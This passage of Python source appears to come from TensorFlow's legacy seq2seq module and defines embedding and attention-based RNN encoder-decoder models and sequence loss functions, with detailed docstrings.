scope = scope or "tied_rnn_seq2seq"
_, enc_state = rnn.static_rnn(
cell, encoder_inputs, dtype=dtype, scope=scope)
variable_scope.get_variable_scope().reuse_variables()
return rnn_decoder(
decoder_inputs,
enc_state,
cell,
loop_function=loop_function,
scope=scope)
def embedding_rnn_decoder(decoder_inputs,
initial_state,
cell,
num_symbols,
embedding_size,
output_projection=None,
feed_previous=False,
update_embedding_for_previous=True,
scope=None):
"""RNN decoder with embedding and a pure-decoding option.
Args:
decoder_inputs: A list of 1D batch-sized int32 Tensors (decoder inputs).
initial_state: 2D Tensor [batch_size x cell.state_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function.
num_symbols: Integer, how many symbols come into the embedding.
embedding_size: Integer, the length of the embedding vector for each symbol.
output_projection: None or a pair (W, B) of output projection weights and
biases; W has shape [output_size x num_symbols] and B has
shape [num_symbols]; if provided and feed_previous=True, each fed
previous output will first be multiplied by W and added B.
feed_previous: Boolean; if True, only the first of decoder_inputs will be
used (the "GO" symbol), and all other decoder inputs will be generated by:
next = embedding_lookup(embedding, argmax(previous_output)),
In effect, this implements a greedy decoder. It can also be used
during training to emulate http://arxiv.org/abs/1506.03099.
If False, decoder_inputs are used as given (the standard decoder case).
update_embedding_for_previous: Boolean; if False and feed_previous=True,
only the embedding for the first symbol of decoder_inputs (the "GO"
symbol) will be updated by back propagation. Embeddings for the symbols
generated from the decoder itself remain unchanged. This parameter has
no effect if feed_previous=False.
scope: VariableScope for the created subgraph; defaults to
"embedding_rnn_decoder".
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors. The
output is of shape [batch_size x cell.output_size] when
output_projection is not None (and represents the dense representation
of predicted tokens). It is of shape [batch_size x num_decoder_symbols]
when output_projection is None.
state: The state of each decoder cell in each time-step. This is a list
with length len(decoder_inputs) -- one item for each time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
Raises:
ValueError: When output_projection has the wrong shape.
"""
with variable_scope.variable_scope(scope or "embedding_rnn_decoder") as scope:
if output_projection is not None:
dtype = scope.dtype
proj_weights = ops.convert_to_tensor(output_projection[0], dtype=dtype)
proj_weights.get_shape().assert_is_compatible_with([None, num_symbols])
proj_biases = ops.convert_to_tensor(output_projection[1], dtype=dtype)
proj_biases.get_shape().assert_is_compatible_with([num_symbols])
embedding = variable_scope.get_variable("embedding",
[num_symbols, embedding_size])
loop_function = _extract_argmax_and_embed(
embedding, output_projection,
update_embedding_for_previous) if feed_previous else None
emb_inp = (embedding_ops.embedding_lookup(embedding, i)
for i in decoder_inputs)
return rnn_decoder(
emb_inp, initial_state, cell, loop_function=loop_function)
def embedding_rnn_seq2seq(encoder_inputs,
decoder_inputs,
cell,
num_encoder_symbols,
num_decoder_symbols,
embedding_size,
output_projection=None,
feed_previous=False,
dtype=None,
scope=None):
"""Embedding RNN sequence-to-sequence model.
This model first embeds encoder_inputs by a newly created embedding (of shape
[num_encoder_symbols x input_size]). Then it runs an RNN to encode
embedded encoder_inputs into a state vector. Next, it embeds decoder_inputs
by another newly created embedding (of shape [num_decoder_symbols x
input_size]). Then it runs RNN decoder, initialized with the last
encoder state, on embedded decoder_inputs.
Args:
encoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
decoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function and size.
num_encoder_symbols: Integer; number of symbols on the encoder side.
num_decoder_symbols: Integer; number of symbols on the decoder side.
embedding_size: Integer, the length of the embedding vector for each symbol.
output_projection: None or a pair (W, B) of output projection weights and
biases; W has shape [output_size x num_decoder_symbols] and B has
shape [num_decoder_symbols]; if provided and feed_previous=True, each
fed previous output will first be multiplied by W and added B.
feed_previous: Boolean or scalar Boolean Tensor; if True, only the first
of decoder_inputs will be used (the "GO" symbol), and all other decoder
inputs will be taken from previous outputs (as in embedding_rnn_decoder).
If False, decoder_inputs are used as given (the standard decoder case).
dtype: The dtype of the initial state for both the encoder and encoder
rnn cells (default: tf.float32).
scope: VariableScope for the created subgraph; defaults to
"embedding_rnn_seq2seq"
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors. The
output is of shape [batch_size x cell.output_size] when
output_projection is not None (and represents the dense representation
of predicted tokens). It is of shape [batch_size x num_decoder_symbols]
when output_projection is None.
state: The state of each decoder cell in each time-step. This is a list
with length len(decoder_inputs) -- one item for each time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
"""
with variable_scope.variable_scope(scope or "embedding_rnn_seq2seq") as scope:
if dtype is not None:
scope.set_dtype(dtype)
else:
dtype = scope.dtype
# Encoder.
encoder_cell = copy.deepcopy(cell)
encoder_cell = core_rnn_cell.EmbeddingWrapper(
encoder_cell,
embedding_classes=num_encoder_symbols,
embedding_size=embedding_size)
_, encoder_state = rnn.static_rnn(encoder_cell, encoder_inputs, dtype=dtype)
# Decoder.
if output_projection is None:
cell = core_rnn_cell.OutputProjectionWrapper(cell, num_decoder_symbols)
if isinstance(feed_previous, bool):
return embedding_rnn_decoder(
decoder_inputs,
encoder_state,
cell,
num_decoder_symbols,
embedding_size,
output_projection=output_projection,
feed_previous=feed_previous)
# If feed_previous is a Tensor, we construct 2 graphs and use cond.
def decoder(feed_previous_bool):
reuse = None if feed_previous_bool else True
with variable_scope.variable_scope(
variable_scope.get_variable_scope(), reuse=reuse):
outputs, state = embedding_rnn_decoder(
decoder_inputs,
encoder_state,
cell,
num_decoder_symbols,
embedding_size,
output_projection=output_projection,
feed_previous=feed_previous_bool,
update_embedding_for_previous=False)
state_list = [state]
if nest.is_sequence(state):
state_list = nest.flatten(state)
return outputs + state_list
outputs_and_state = control_flow_ops.cond(feed_previous,
lambda: decoder(True),
lambda: decoder(False))
outputs_len = len(decoder_inputs) # Outputs length same as decoder inputs.
state_list = outputs_and_state[outputs_len:]
state = state_list[0]
if nest.is_sequence(encoder_state):
state = nest.pack_sequence_as(
structure=encoder_state, flat_sequence=state_list)
return outputs_and_state[:outputs_len], state
def embedding_tied_rnn_seq2seq(encoder_inputs,
decoder_inputs,
cell,
num_symbols,
embedding_size,
num_decoder_symbols=None,
output_projection=None,
feed_previous=False,
dtype=None,
scope=None):
"""Embedding RNN sequence-to-sequence model with tied (shared) parameters.
This model first embeds encoder_inputs by a newly created embedding (of shape
[num_symbols x input_size]). Then it runs an RNN to encode embedded
encoder_inputs into a state vector. Next, it embeds decoder_inputs using
the same embedding. Then it runs RNN decoder, initialized with the last
encoder state, on embedded decoder_inputs. The decoder output is over symbols
from 0 to num_decoder_symbols - 1 if num_decoder_symbols is none; otherwise it
is over 0 to num_symbols - 1.
Args:
encoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
decoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function and size.
num_symbols: Integer; number of symbols for both encoder and decoder.
embedding_size: Integer, the length of the embedding vector for each symbol.
num_decoder_symbols: Integer; number of output symbols for decoder. If
provided, the decoder output is over symbols 0 to num_decoder_symbols - 1.
Otherwise, decoder output is over symbols 0 to num_symbols - 1. Note that
this assumes that the vocabulary is set up such that the first
num_decoder_symbols of num_symbols are part of decoding.
output_projection: None or a pair (W, B) of output projection weights and
biases; W has shape [output_size x num_symbols] and B has
shape [num_symbols]; if provided and feed_previous=True, each
fed previous output will first be multiplied by W and added B.
feed_previous: Boolean or scalar Boolean Tensor; if True, only the first
of decoder_inputs will be used (the "GO" symbol), and all other decoder
inputs will be taken from previous outputs (as in embedding_rnn_decoder).
If False, decoder_inputs are used as given (the standard decoder case).
dtype: The dtype to use for the initial RNN states (default: tf.float32).
scope: VariableScope for the created subgraph; defaults to
"embedding_tied_rnn_seq2seq".
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors with
shape [batch_size x output_symbols] containing the generated
outputs where output_symbols = num_decoder_symbols if
num_decoder_symbols is not None otherwise output_symbols = num_symbols.
state: The state of each decoder cell at the final time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
Raises:
ValueError: When output_projection has the wrong shape.
"""
with variable_scope.variable_scope(
scope or "embedding_tied_rnn_seq2seq", dtype=dtype) as scope:
dtype = scope.dtype
if output_projection is not None:
proj_weights = ops.convert_to_tensor(output_projection[0], dtype=dtype)
proj_weights.get_shape().assert_is_compatible_with([None, num_symbols])
proj_biases = ops.convert_to_tensor(output_projection[1], dtype=dtype)
proj_biases.get_shape().assert_is_compatible_with([num_symbols])
embedding = variable_scope.get_variable(
"embedding", [num_symbols, embedding_size], dtype=dtype)
emb_encoder_inputs = [
embedding_ops.embedding_lookup(embedding, x) for x in encoder_inputs
]
emb_decoder_inputs = [
embedding_ops.embedding_lookup(embedding, x) for x in decoder_inputs
]
output_symbols = num_symbols
if num_decoder_symbols is not None:
output_symbols = num_decoder_symbols
if output_projection is None:
cell = core_rnn_cell.OutputProjectionWrapper(cell, output_symbols)
if isinstance(feed_previous, bool):
loop_function = _extract_argmax_and_embed(embedding, output_projection,
True) if feed_previous else None
return tied_rnn_seq2seq(
emb_encoder_inputs,
emb_decoder_inputs,
cell,
loop_function=loop_function,
dtype=dtype)
# If feed_previous is a Tensor, we construct 2 graphs and use cond.
def decoder(feed_previous_bool):
loop_function = _extract_argmax_and_embed(
embedding, output_projection, False) if feed_previous_bool else None
reuse = None if feed_previous_bool else True
with variable_scope.variable_scope(
variable_scope.get_variable_scope(), reuse=reuse):
outputs, state = tied_rnn_seq2seq(
emb_encoder_inputs,
emb_decoder_inputs,
cell,
loop_function=loop_function,
dtype=dtype)
state_list = [state]
if nest.is_sequence(state):
state_list = nest.flatten(state)
return outputs + state_list
outputs_and_state = control_flow_ops.cond(feed_previous,
lambda: decoder(True),
lambda: decoder(False))
outputs_len = len(decoder_inputs) # Outputs length same as decoder inputs.
state_list = outputs_and_state[outputs_len:]
state = state_list[0]
# Calculate zero-state to know it's structure.
static_batch_size = encoder_inputs[0].get_shape()[0]
for inp in encoder_inputs[1:]:
static_batch_size.merge_with(inp.get_shape()[0])
batch_size = static_batch_size.value
if batch_size is None:
batch_size = array_ops.shape(encoder_inputs[0])[0]
zero_state = cell.zero_state(batch_size, dtype)
if nest.is_sequence(zero_state):
state = nest.pack_sequence_as(
structure=zero_state, flat_sequence=state_list)
return outputs_and_state[:outputs_len], state
def attention_decoder(decoder_inputs,
initial_state,
attention_states,
cell,
output_size=None,
num_heads=1,
loop_function=None,
dtype=None,
scope=None,
initial_state_attention=False):
"""RNN decoder with attention for the sequence-to-sequence model.
In this context "attention" means that, during decoding, the RNN can look up
information in the additional tensor attention_states, and it does this by
focusing on a few entries from the tensor. This model has proven to yield
especially good results in a number of sequence-to-sequence tasks. This
implementation is based on http://arxiv.org/abs/1412.7449 (see below for
details). It is recommended for complex sequence-to-sequence tasks.
Args:
decoder_inputs: A list of 2D Tensors [batch_size x input_size].
initial_state: 2D Tensor [batch_size x cell.state_size].
attention_states: 3D Tensor [batch_size x attn_length x attn_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function and size.
output_size: Size of the output vectors; if None, we use cell.output_size.
num_heads: Number of attention heads that read from attention_states.
loop_function: If not None, this function will be applied to i-th output
in order to generate i+1-th input, and decoder_inputs will be ignored,
except for the first element ("GO" symbol). This can be used for decoding,
but also for training to emulate http://arxiv.org/abs/1506.03099.
Signature -- loop_function(prev, i) = next
* prev is a 2D Tensor of shape [batch_size x output_size],
* i is an integer, the step number (when advanced control is needed),
* next is a 2D Tensor of shape [batch_size x input_size].
dtype: The dtype to use for the RNN initial state (default: tf.float32).
scope: VariableScope for the created subgraph; default: "attention_decoder".
initial_state_attention: If False (default), initial attentions are zero.
If True, initialize the attentions from the initial state and attention
states -- useful when we wish to resume decoding from a previously
stored decoder state and attention states.
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors of
shape [batch_size x output_size]. These represent the generated outputs.
Output i is computed from input i (which is either the i-th element
of decoder_inputs or loop_function(output {i-1}, i)) as follows.
First, we run the cell on a combination of the input and previous
attention masks:
cell_output, new_state = cell(linear(input, prev_attn), prev_state).
Then, we calculate new attention masks:
new_attn = softmax(V^T * tanh(W * attention_states + U * new_state))
and then we calculate the output:
output = linear(cell_output, new_attn).
state: The state of each decoder cell the final time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
Raises:
ValueError: when num_heads is not positive, there are no inputs, shapes
of attention_states are not set, or input size cannot be inferred
from the input.
"""
if not decoder_inputs:
raise ValueError("Must provide at least 1 input to attention decoder.")
if num_heads < 1:
raise ValueError("With less than 1 heads, use a non-attention decoder.")
if attention_states.get_shape()[2].value is None:
raise ValueError("Shape[2] of attention_states must be known: %s" %
attention_states.get_shape())
if output_size is None:
output_size = cell.output_size
with variable_scope.variable_scope(
scope or "attention_decoder", dtype=dtype) as scope:
dtype = scope.dtype
batch_size = array_ops.shape(decoder_inputs[0])[0] # Needed for reshaping.
attn_length = attention_states.get_shape()[1].value
if attn_length is None:
attn_length = array_ops.shape(attention_states)[1]
attn_size = attention_states.get_shape()[2].value
# To calculate W1 * h_t we use a 1-by-1 convolution, need to reshape before.
hidden = array_ops.reshape(attention_states,
[-1, attn_length, 1, attn_size])
hidden_features = []
v = []
attention_vec_size = attn_size # Size of query vectors for attention.
for a in xrange(num_heads):
k = variable_scope.get_variable("AttnW_%d" % a,
[1, 1, attn_size, attention_vec_size])
hidden_features.append(nn_ops.conv2d(hidden, k, [1, 1, 1, 1], "SAME"))
v.append(
variable_scope.get_variable("AttnV_%d" % a, [attention_vec_size]))
state = initial_state
def attention(query):
"""Put attention masks on hidden using hidden_features and query."""
ds = [] # Results of attention reads will be stored here.
if nest.is_sequence(query): # If the query is a tuple, flatten it.
query_list = nest.flatten(query)
for q in query_list: # Check that ndims == 2 if specified.
ndims = q.get_shape().ndims
if ndims:
assert ndims == 2
query = array_ops.concat(query_list, 1)
for a in xrange(num_heads):
with variable_scope.variable_scope("Attention_%d" % a):
y = linear(query, attention_vec_size, True)
y = array_ops.reshape(y, [-1, 1, 1, attention_vec_size])
# Attention mask is a softmax of v^T * tanh(...).
s = math_ops.reduce_sum(v[a] * math_ops.tanh(hidden_features[a] + y),
[2, 3])
a = nn_ops.softmax(s)
# Now calculate the attention-weighted vector d.
d = math_ops.reduce_sum(
array_ops.reshape(a, [-1, attn_length, 1, 1]) * hidden, [1, 2])
ds.append(array_ops.reshape(d, [-1, attn_size]))
return ds
outputs = []
prev = None
batch_attn_size = array_ops.stack([batch_size, attn_size])
attns = [
array_ops.zeros(
batch_attn_size, dtype=dtype) for _ in xrange(num_heads)
]
for a in attns: # Ensure the second shape of attention vectors is set.
a.set_shape([None, attn_size])
if initial_state_attention:
attns = attention(initial_state)
for i, inp in enumerate(decoder_inputs):
if i > 0:
variable_scope.get_variable_scope().reuse_variables()
# If loop_function is set, we use it instead of decoder_inputs.
if loop_function is not None and prev is not None:
with variable_scope.variable_scope("loop_function", reuse=True):
inp = loop_function(prev, i)
# Merge input and previous attentions into one vector of the right size.
input_size = inp.get_shape().with_rank(2)[1]
if input_size.value is None:
raise ValueError("Could not infer input size from input: %s" % inp.name)
x = linear([inp] + attns, input_size, True)
# Run the RNN.
cell_output, state = cell(x, state)
# Run the attention mechanism.
if i == 0 and initial_state_attention:
with variable_scope.variable_scope(
variable_scope.get_variable_scope(), reuse=True):
attns = attention(state)
else:
attns = attention(state)
with variable_scope.variable_scope("AttnOutputProjection"):
output = linear([cell_output] + attns, output_size, True)
if loop_function is not None:
prev = output
outputs.append(output)
return outputs, state
def embedding_attention_decoder(decoder_inputs,
initial_state,
attention_states,
cell,
num_symbols,
embedding_size,
num_heads=1,
output_size=None,
output_projection=None,
feed_previous=False,
update_embedding_for_previous=True,
dtype=None,
scope=None,
initial_state_attention=False):
"""RNN decoder with embedding and attention and a pure-decoding option.
Args:
decoder_inputs: A list of 1D batch-sized int32 Tensors (decoder inputs).
initial_state: 2D Tensor [batch_size x cell.state_size].
attention_states: 3D Tensor [batch_size x attn_length x attn_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function.
num_symbols: Integer, how many symbols come into the embedding.
embedding_size: Integer, the length of the embedding vector for each symbol.
num_heads: Number of attention heads that read from attention_states.
output_size: Size of the output vectors; if None, use output_size.
output_projection: None or a pair (W, B) of output projection weights and
biases; W has shape [output_size x num_symbols] and B has shape
[num_symbols]; if provided and feed_previous=True, each fed previous
output will first be multiplied by W and added B.
feed_previous: Boolean; if True, only the first of decoder_inputs will be
used (the "GO" symbol), and all other decoder inputs will be generated by:
next = embedding_lookup(embedding, argmax(previous_output)),
In effect, this implements a greedy decoder. It can also be used
during training to emulate http://arxiv.org/abs/1506.03099.
If False, decoder_inputs are used as given (the standard decoder case).
update_embedding_for_previous: Boolean; if False and feed_previous=True,
only the embedding for the first symbol of decoder_inputs (the "GO"
symbol) will be updated by back propagation. Embeddings for the symbols
generated from the decoder itself remain unchanged. This parameter has
no effect if feed_previous=False.
dtype: The dtype to use for the RNN initial states (default: tf.float32).
scope: VariableScope for the created subgraph; defaults to
"embedding_attention_decoder".
initial_state_attention: If False (default), initial attentions are zero.
If True, initialize the attentions from the initial state and attention
states -- useful when we wish to resume decoding from a previously
stored decoder state and attention states.
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors with
shape [batch_size x output_size] containing the generated outputs.
state: The state of each decoder cell at the final time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
Raises:
ValueError: When output_projection has the wrong shape.
"""
if output_size is None:
output_size = cell.output_size
if output_projection is not None:
proj_biases = ops.convert_to_tensor(output_projection[1], dtype=dtype)
proj_biases.get_shape().assert_is_compatible_with([num_symbols])
with variable_scope.variable_scope(
scope or "embedding_attention_decoder", dtype=dtype) as scope:
embedding = variable_scope.get_variable("embedding",
[num_symbols, embedding_size])
loop_function = _extract_argmax_and_embed(
embedding, output_projection,
update_embedding_for_previous) if feed_previous else None
emb_inp = [
embedding_ops.embedding_lookup(embedding, i) for i in decoder_inputs
]
return attention_decoder(
emb_inp,
initial_state,
attention_states,
cell,
output_size=output_size,
num_heads=num_heads,
loop_function=loop_function,
initial_state_attention=initial_state_attention)
def embedding_attention_seq2seq(encoder_inputs,
decoder_inputs,
cell,
num_encoder_symbols,
num_decoder_symbols,
embedding_size,
num_heads=1,
output_projection=None,
feed_previous=False,
dtype=None,
scope=None,
initial_state_attention=False):
"""Embedding sequence-to-sequence model with attention.
This model first embeds encoder_inputs by a newly created embedding (of shape
[num_encoder_symbols x input_size]). Then it runs an RNN to encode
embedded encoder_inputs into a state vector. It keeps the outputs of this
RNN at every step to use for attention later. Next, it embeds decoder_inputs
by another newly created embedding (of shape [num_decoder_symbols x
input_size]). Then it runs attention decoder, initialized with the last
encoder state, on embedded decoder_inputs and attending to encoder outputs.
Warning: when output_projection is None, the size of the attention vectors
and variables will be made proportional to num_decoder_symbols, can be large.
Args:
encoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
decoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
cell: tf.nn.rnn_cell.RNNCell defining the cell function and size.
num_encoder_symbols: Integer; number of symbols on the encoder side.
num_decoder_symbols: Integer; number of symbols on the decoder side.
embedding_size: Integer, the length of the embedding vector for each symbol.
num_heads: Number of attention heads that read from attention_states.
output_projection: None or a pair (W, B) of output projection weights and
biases; W has shape [output_size x num_decoder_symbols] and B has
shape [num_decoder_symbols]; if provided and feed_previous=True, each
fed previous output will first be multiplied by W and added B.
feed_previous: Boolean or scalar Boolean Tensor; if True, only the first
of decoder_inputs will be used (the "GO" symbol), and all other decoder
inputs will be taken from previous outputs (as in embedding_rnn_decoder).
If False, decoder_inputs are used as given (the standard decoder case).
dtype: The dtype of the initial RNN state (default: tf.float32).
scope: VariableScope for the created subgraph; defaults to
"embedding_attention_seq2seq".
initial_state_attention: If False (default), initial attentions are zero.
If True, initialize the attentions from the initial state and attention
states.
Returns:
A tuple of the form (outputs, state), where:
outputs: A list of the same length as decoder_inputs of 2D Tensors with
shape [batch_size x num_decoder_symbols] containing the generated
outputs.
state: The state of each decoder cell at the final time-step.
It is a 2D Tensor of shape [batch_size x cell.state_size].
"""
with variable_scope.variable_scope(
scope or "embedding_attention_seq2seq", dtype=dtype) as scope:
dtype = scope.dtype
# Encoder.
encoder_cell = copy.deepcopy(cell)
encoder_cell = core_rnn_cell.EmbeddingWrapper(
encoder_cell,
embedding_classes=num_encoder_symbols,
embedding_size=embedding_size)
encoder_outputs, encoder_state = rnn.static_rnn(
encoder_cell, encoder_inputs, dtype=dtype)
# First calculate a concatenation of encoder outputs to put attention on.
top_states = [
array_ops.reshape(e, [-1, 1, cell.output_size]) for e in encoder_outputs
]
attention_states = array_ops.concat(top_states, 1)
# Decoder.
output_size = None
if output_projection is None:
cell = core_rnn_cell.OutputProjectionWrapper(cell, num_decoder_symbols)
output_size = num_decoder_symbols
if isinstance(feed_previous, bool):
return embedding_attention_decoder(
decoder_inputs,
encoder_state,
attention_states,
cell,
num_decoder_symbols,
embedding_size,
num_heads=num_heads,
output_size=output_size,
output_projection=output_projection,
feed_previous=feed_previous,
initial_state_attention=initial_state_attention)
# If feed_previous is a Tensor, we construct 2 graphs and use cond.
def decoder(feed_previous_bool):
reuse = None if feed_previous_bool else True
with variable_scope.variable_scope(
variable_scope.get_variable_scope(), reuse=reuse):
outputs, state = embedding_attention_decoder(
decoder_inputs,
encoder_state,
attention_states,
cell,
num_decoder_symbols,
embedding_size,
num_heads=num_heads,
output_size=output_size,
output_projection=output_projection,
feed_previous=feed_previous_bool,
update_embedding_for_previous=False,
initial_state_attention=initial_state_attention)
state_list = [state]
if nest.is_sequence(state):
state_list = nest.flatten(state)
return outputs + state_list
outputs_and_state = control_flow_ops.cond(feed_previous,
lambda: decoder(True),
lambda: decoder(False))
outputs_len = len(decoder_inputs) # Outputs length same as decoder inputs.
state_list = outputs_and_state[outputs_len:]
state = state_list[0]
if nest.is_sequence(encoder_state):
state = nest.pack_sequence_as(
structure=encoder_state, flat_sequence=state_list)
return outputs_and_state[:outputs_len], state
def one2many_rnn_seq2seq(encoder_inputs,
decoder_inputs_dict,
enc_cell,
dec_cells_dict,
num_encoder_symbols,
num_decoder_symbols_dict,
embedding_size,
feed_previous=False,
dtype=None,
scope=None):
"""One-to-many RNN sequence-to-sequence model (multi-task).
This is a multi-task sequence-to-sequence model with one encoder and multiple
decoders. Reference to multi-task sequence-to-sequence learning can be found
here: http://arxiv.org/abs/1511.06114
Args:
encoder_inputs: A list of 1D int32 Tensors of shape [batch_size].
decoder_inputs_dict: A dictionary mapping decoder name (string) to
the corresponding decoder_inputs; each decoder_inputs is a list of 1D
Tensors of shape [batch_size]; num_decoders is defined as
len(decoder_inputs_dict).
enc_cell: tf.nn.rnn_cell.RNNCell defining the encoder cell function and
size.
dec_cells_dict: A dictionary mapping encoder name (string) to an
instance of tf.nn.rnn_cell.RNNCell.
num_encoder_symbols: Integer; number of symbols on the encoder side.
num_decoder_symbols_dict: A dictionary mapping decoder name (string) to an
integer specifying number of symbols for the corresponding decoder;
len(num_decoder_symbols_dict) must be equal to num_decoders.
embedding_size: Integer, the length of the embedding vector for each symbol.
feed_previous: Boolean or scalar Boolean Tensor; if True, only the first of
decoder_inputs will be used (the "GO" symbol), and all other decoder
inputs will be taken from previous outputs (as in embedding_rnn_decoder).
If False, decoder_inputs are used as given (the standard decoder case).
dtype: The dtype of the initial state for both the encoder and encoder
rnn cells (default: tf.float32).
scope: VariableScope for the created subgraph; defaults to
"one2many_rnn_seq2seq"
Returns:
A tuple of the form (outputs_dict, state_dict), where:
outputs_dict: A mapping from decoder name (string) to a list of the same
length as decoder_inputs_dict[name]; each element in the list is a 2D
Tensors with shape [batch_size x num_decoder_symbol_list[name]]
containing the generated outputs.
state_dict: A mapping from decoder name (string) to the final state of the
corresponding decoder RNN; it is a 2D Tensor of shape
[batch_size x cell.state_size].
Raises:
TypeError: if enc_cell or any of the dec_cells are not instances of RNNCell.
ValueError: if len(dec_cells) != len(decoder_inputs_dict).
"""
outputs_dict = {}
state_dict = {}
if not isinstance(enc_cell, rnn_cell_impl.RNNCell):
raise TypeError("enc_cell is not an RNNCell: %s" % type(enc_cell))
if set(dec_cells_dict) != set(decoder_inputs_dict):
raise ValueError("keys of dec_cells_dict != keys of decodre_inputs_dict")
for dec_cell in dec_cells_dict.values():
if not isinstance(dec_cell, rnn_cell_impl.RNNCell):
raise TypeError("dec_cell is not an RNNCell: %s" % type(dec_cell))
with variable_scope.variable_scope(
scope or "one2many_rnn_seq2seq", dtype=dtype) as scope:
dtype = scope.dtype
# Encoder.
enc_cell = core_rnn_cell.EmbeddingWrapper(
enc_cell,
embedding_classes=num_encoder_symbols,
embedding_size=embedding_size)
_, encoder_state = rnn.static_rnn(enc_cell, encoder_inputs, dtype=dtype)
# Decoder.
for name, decoder_inputs in decoder_inputs_dict.items():
num_decoder_symbols = num_decoder_symbols_dict[name]
dec_cell = dec_cells_dict[name]
with variable_scope.variable_scope("one2many_decoder_" + str(
name)) as scope:
dec_cell = core_rnn_cell.OutputProjectionWrapper(
dec_cell, num_decoder_symbols)
if isinstance(feed_previous, bool):
outputs, state = embedding_rnn_decoder(
decoder_inputs,
encoder_state,
dec_cell,
num_decoder_symbols,
embedding_size,
feed_previous=feed_previous)
else:
# If feed_previous is a Tensor, we construct 2 graphs and use cond.
def filled_embedding_rnn_decoder(feed_previous):
"""The current decoder with a fixed feed_previous parameter."""
# pylint: disable=cell-var-from-loop
reuse = None if feed_previous else True
vs = variable_scope.get_variable_scope()
with variable_scope.variable_scope(vs, reuse=reuse):
outputs, state = embedding_rnn_decoder(
decoder_inputs,
encoder_state,
dec_cell,
num_decoder_symbols,
embedding_size,
feed_previous=feed_previous)
# pylint: enable=cell-var-from-loop
state_list = [state]
if nest.is_sequence(state):
state_list = nest.flatten(state)
return outputs + state_list
outputs_and_state = control_flow_ops.cond(
feed_previous, lambda: filled_embedding_rnn_decoder(True),
lambda: filled_embedding_rnn_decoder(False))
# Outputs length is the same as for decoder inputs.
outputs_len = len(decoder_inputs)
outputs = outputs_and_state[:outputs_len]
state_list = outputs_and_state[outputs_len:]
state = state_list[0]
if nest.is_sequence(encoder_state):
state = nest.pack_sequence_as(
structure=encoder_state, flat_sequence=state_list)
outputs_dict[name] = outputs
state_dict[name] = state
return outputs_dict, state_dict
def sequence_loss_by_example(logits,
targets,
weights,
average_across_timesteps=True,
softmax_loss_function=None,
name=None):
"""Weighted cross-entropy loss for a sequence of logits (per example).
Args:
logits: List of 2D Tensors of shape [batch_size x num_decoder_symbols].
targets: List of 1D batch-sized int32 Tensors of the same length as logits.
weights: List of 1D batch-sized float-Tensors of the same length as logits.
average_across_timesteps: If set, divide the returned cost by the total
label weight.
softmax_loss_function: Function (labels, logits) -> loss-batch
to be used instead of the standard softmax (the default if this is None).
**Note that to avoid confusion, it is required for the function to accept
named arguments.**
name: Optional name for this operation, default: "sequence_loss_by_example".
Returns:
1D batch-sized float Tensor: The log-perplexity for each sequence.
Raises:
ValueError: If len(logits) is different from len(targets) or len(weights).
"""
if len(targets) != len(logits) or len(weights) != len(logits):
raise ValueError("Lengths of logits, weights, and targets must be the same "
"%d, %d, %d." % (len(logits), len(weights), len(targets)))
with ops.name_scope(name, "sequence_loss_by_example",
logits + targets + weights):
log_perp_list = []
for logit, target, weight in zip(logits, targets, weights):
if softmax_loss_function is None:
# TODO(irving,ebrevdo): This reshape is needed because
# sequence_loss_by_example is called with scalars sometimes, which
# violates our general scalar strictness policy.
target = array_ops.reshape(target, [-1])
crossent = nn_ops.sparse_softmax_cross_entropy_with_logits(
labels=target, logits=logit)
else:
crossent = softmax_loss_function(labels=target, logits=logit)
log_perp_list.append(crossent * weight)
log_perps = math_ops.add_n(log_perp_list)
if average_across_timesteps:
total_size = math_ops.add_n(weights)
total_size += 1e-12 # Just to avoid division by 0 for all-0 weights.
log_perps /= total_size
return log_perps
def sequence_loss(logits,
targets,
weights,
average_across_timesteps=True,
average_across_batch=True,
softmax_loss_function=None,
name=None):
"""Weighted cross-entropy loss for a sequence of logits, batch-collapsed.
Args:
logits: List of 2D Tensors of shape [batch_size x num_decoder_symbols].
targets: List of 1D batch-sized int32 Tensors of the same length as logits.
weights: List of 1D batch-sized float-Tensors of the same length as logits.
average_across_timesteps: If set, divide the returned cost by the total
label weight.
average_across_batch: If set, divide the returned cost by the batch size.
softmax_loss_function: Function (labels, logits) -> loss-batch
to be used instead of the standard softmax (the default if this is None).
**Note that to avoid confusion, it is required for the function to accept
named arguments.**
name: Optional name for this operation, defaults to "sequence_loss".
Returns:
A scalar float Tensor: The average log-perplexity per symbol (weighted).
Raises:
ValueError: If len(logits) is different from len(targets) or len(weights).
"""
with ops.name_scope(name, "sequence_loss", logits + targets + weights):
cost = math_ops.reduce_sum(
sequence_loss_by_example(
logits,
targets,
weights,
average_across_timesteps=average_across_timesteps,
softmax_loss_function=softmax_loss_function))
if average_across_batch:
batch_size = array_ops.shape(targets[0])[0]
return cost / math_ops.cast(batch_size, cost.dtype)
else:
return cost
def model_with_buckets(encoder_inputs,
decoder_inputs,
targets,
weights,
buckets,
seq2seq,
softmax_loss_function=None,
per_example_loss=False,
name=None):
"""Create a sequence-to-sequence model with support for bucketing.
The seq2seq argument is a function that defines a sequence-to-sequence model,
e.g., seq2seq = lambda x, y: basic_rnn_seq2seq(
x, y, rnn_cell.GRUCell(24))
Args:
encoder_inputs: A list of Tensors to feed the encoder; first seq2seq input.
decoder_inputs: A list of Tensors to feed the decoder; second seq2seq input.
targets: A list of 1D batch-sized int32 Tensors (desired output sequence).
